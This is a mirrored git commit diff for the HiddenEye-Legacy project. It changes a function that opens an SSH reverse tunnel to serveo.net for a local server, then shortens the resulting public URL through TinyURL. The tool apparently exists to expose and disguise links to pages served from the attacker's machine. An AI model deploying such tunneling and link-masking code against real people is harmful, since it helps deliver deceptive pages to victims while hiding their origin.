mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Update Actions.py
This commit is contained in:
parent
2874a86e4b
commit
7ba238c23a
|
@ -99,18 +99,25 @@ def runNgrok():
|
||||||
def runServeo():
|
def runServeo():
|
||||||
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
|
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
|
||||||
sleep(7)
|
sleep(7)
|
||||||
with open('link.url') as creds:
|
try:
|
||||||
lines = creds.read().rstrip()
|
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True)
|
||||||
if len(lines) != 0:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
runServeo()
|
|
||||||
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
|
|
||||||
url = str(output).strip("b ' \ n")
|
url = str(output).strip("b ' \ n")
|
||||||
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN))
|
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN))
|
||||||
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
|
print("\n")
|
||||||
|
data = urlopen("http://tinyurl.com/api-create.php?url="+url)
|
||||||
|
url = data.read()
|
||||||
|
link = url.decode('utf-8')
|
||||||
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN))
|
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN))
|
||||||
print("\n")
|
print("\n")
|
||||||
|
except subprocess.CalledProcessError:
|
||||||
|
print ('''
|
||||||
|
....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _
|
||||||
|
/ \/| [__ | | | | |__| | |___ | [__ |__|
|
||||||
|
\o__ /\| ___] |__| |___ | | | |___ | | ___] | |
|
||||||
|
\|
|
||||||
|
{0}[{1}!{0}]{1} Network error. Verify your connection.\n
|
||||||
|
'''.format(RED, DEFAULT))
|
||||||
|
exit(0)
|
||||||
|
|
||||||
def runMainMenu(): #menu where user select what they wanna use
|
def runMainMenu(): #menu where user select what they wanna use
|
||||||
system('clear')
|
system('clear')
|
||||||
|
|
Loading…
Reference in New Issue
Block a user